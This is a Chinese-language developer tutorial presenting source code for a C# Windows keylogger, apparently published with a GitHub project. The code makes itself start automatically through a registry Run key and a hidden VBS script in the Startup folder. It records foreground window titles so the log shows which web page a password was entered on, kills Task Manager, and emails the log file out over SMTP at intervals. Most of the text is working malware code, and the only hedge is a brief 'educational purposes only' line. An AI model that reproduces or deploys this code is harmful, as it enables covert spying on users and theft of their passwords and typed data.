
前言
本keylogger是在 Email-keylogger基礎上進行的二次開發(fā)。
新增加的功能有
- win10,win7系統(tǒng)下實現(xiàn)開機自啟動
- 實時記錄當前用戶開啟的程序和窗口文字
若有什么不足之處,還請?zhí)岢鼋ㄗh,附上這個 APP 的 Github 地址 Tom-Keylogger 歡迎大家 :heart: star 和 fork.
本文的主要內(nèi)容
- 窗口句柄記錄,按鍵記錄,email效果演示
- win10,win7系統(tǒng)下實現(xiàn)開機自啟動實現(xiàn)
- 實時記錄當前用戶開啟的程序和窗口文字
- 如何成功實現(xiàn)發(fā)送txt文件到郵箱
1.窗口句柄記錄,按鍵記錄 效果演示:

2.email記錄效果演示

2. win10,win7系統(tǒng)下實現(xiàn)開機啟動實現(xiàn):
(1)win7下實現(xiàn)開機啟動
public static void Start()
{
// MessageBox.Show("設置開機自啟動,需要修改注冊表", "提示");
string path = Application.ExecutablePath;
RegistryKey rk = Registry.LocalMachine;//讀取 Windows 注冊表基項 HKEY_LOCAL_MACHINE
RegistryKey rk2 = rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
rk2.SetValue("JcShutdown", path);// exe 加入開機啟動:)
rk2.Close();
//MessageBox.Show("Added To Started Up Successfully :) ");
}
- 代碼很簡單,只是將啟動的項目名稱、文件位置添加到啟動項即可,在win7下成功實現(xiàn)。win10下打開任務管理器中的啟動項目可以發(fā)現(xiàn)該程序,但是開機后程序并沒有
運行,這就牽扯到了第二種方法。
(2)win10下實現(xiàn)開機啟動
public static void startup()
{
//Try to copy keylogger in some folders
string source = Application.ExecutablePath.ToString();//當前可執(zhí)行文件的路徑
Console.WriteLine(source);
string destination = Environment.GetFolderPath(Environment.SpecialFolder.Startup);//開機啟動區(qū) 路徑
Console.WriteLine(destination);
destination = System.IO.Path.Combine(destination, "kl2.exe");// 將兩個路徑合二為一
try
{
System.IO.File.Copy(source, destination, true);// 把當前文件 復制到 開機啟動區(qū)去
source = destination;
}
catch
{
Console.WriteLine("No authorization to copy file or other error.");
}
}
- 首先我寫了一個startup()函數(shù)用于將當前的exe文件拷貝到StartUP文件夾
public static void CopyVbs()
{
string destination1 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
string destination = System.IO.Path.Combine(destination1, "AutoStart.vbs");
if (!System.IO.File.Exists(destination))
{
StreamWriter sw = new StreamWriter(destination);
sw.WriteLine("Set shell =Wscript.createobject(\"WScript.Shell\") ");
sw.WriteLine("shell.Run \"kl2.exe\",0,False");
sw.Close();
File.SetAttributes(destination, File.GetAttributes(destination) | FileAttributes.Hidden);
}
}
接著我寫了一個函數(shù),用于在StartUp文件夾下新建一個vbs文件,然后用StreamWriter 使得該vbs的內(nèi)容為運行kl.exe
這樣,當開機時,系統(tǒng)會自動運行腳本,腳本的內(nèi)容為運行kl.exe。(僅僅將kl.exe拷貝到StartUp文件夾是無法開機自啟動的,本人親自試過)
3.實時記錄當前用戶開啟的程序和窗口文字的實現(xiàn):
public static void GetActiveWindowTitle(object source, EventArgs e)
{
const int nChars = 256;
handle = GetForegroundWindow();
StringBuilder Buff = new StringBuilder(nChars);
GetWindowText(handle, Buff, nChars);
txt = Buff.ToString().ToCharArray();
string t = DateTime.Now.ToString("yyyy-MM-dd H:mm:ss");
if (!IsFileInUse(path))
{
// if (handle != handle1)
if(!CheckChar(txt1,txt))
{
StreamWriter ww = File.AppendText(Program.path);
ww.Write("\n");
ww.Write(t);
ww.Write(" ");
ww.WriteLine(Buff.ToString().ToCharArray());
ww.Close();
// handle1 = handle;
GiveChar(txt1,txt);
}
}
}
算法大概是這樣的
1.用GetForegroundWindow函數(shù) 得到當前運行在 最前排的程序的句柄handle
2.通過GetWindowText函數(shù)將handle轉(zhuǎn)換為StringBuilder
3.然后將StringBuilder轉(zhuǎn)換為CharArray
4.接著我寫了一個CheckChar函數(shù),用于防止句柄重復寫入。代碼如下
public static bool CheckChar(char[] a, char[] b)
{
int m = Math.Min(a.Length, b.Length);
for (int i = 0; i < m; i++)
{
if (a[i] != b[i])
{
return false;
}
}
return true;
}
5.最后則是將CharArray寫入文件,將CharArray賦值,用于下次對比。
(網(wǎng)上的其他方法是直接對比handle來防止重復寫入,這種方法是不可取的。如:當在Google Chrome中切換標簽時,句柄并未發(fā)生變化,CharArray發(fā)生了變化
,這時程序就無法正確監(jiān)控用戶是在哪個網(wǎng)頁輸入了密碼。這算是我在做這個功能時遇到的一個很大的坑吧~~)
4.如何成功實現(xiàn)發(fā)送txt文件到郵箱
C#作為高級語言真的很方便實現(xiàn)網(wǎng)絡編程,直接用微軟封裝好的 System.Net.Mail 就足夠了
代碼如下
public static void OnTimedEvent(object source, EventArgs e)
{
Process[] ProcessList = Process.GetProcesses();//為每個進程資源 創(chuàng)建組件
foreach (Process proc in ProcessList)
{
if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
{
proc.Kill();//關閉任務管理器
}
}
//發(fā)送郵件
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("**************");
msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
string _ComputName = System.Net.Dns.GetHostName();
msg.Subject = _ComputName;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "L";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;//郵件優(yōu)先級 最高
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
client.Port = 587;
client.Host = "smtp.office365.com";
client.EnableSsl = true;
Attachment data = new Attachment(Program.path);
msg.Attachments.Add(data);//添加 附件
try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();//釋放掉 資源
failed = 1;
}
data.Dispose();
//if (failed == 0)
// File.WriteAllText(Program.path, ""); //如果發(fā)送成功 則 將txt清空 防止發(fā)送相同數(shù)據(jù)
failed = 0;
}
- 你只需要將代碼中的****** 替換為自己的賬號密碼即可
- 需要注意的是,源程序中采用的smtp協(xié)議是gmail,本人親測后發(fā)現(xiàn)由于網(wǎng)絡原因無法實現(xiàn)按周期發(fā)送。
- 多次嘗試后,發(fā)現(xiàn)只有hotmail可以滿足成功實現(xiàn)。但是發(fā)件箱和收件箱必須同時開啟smtp和pop3協(xié)議。
結(jié)語
以上便是我寫這個 APP 的具體實現(xiàn)思路,以及踩過的一些坑,記錄下來,給大家看看。
This tutorial is for educational purposes only, please do not use this for malicious purposes.
最后附上這個 APP 的 Github 地址 Tom-Keylogger 歡迎大家 star 和 fork。
如果有什么想法或者建議,非常歡迎大家來討論。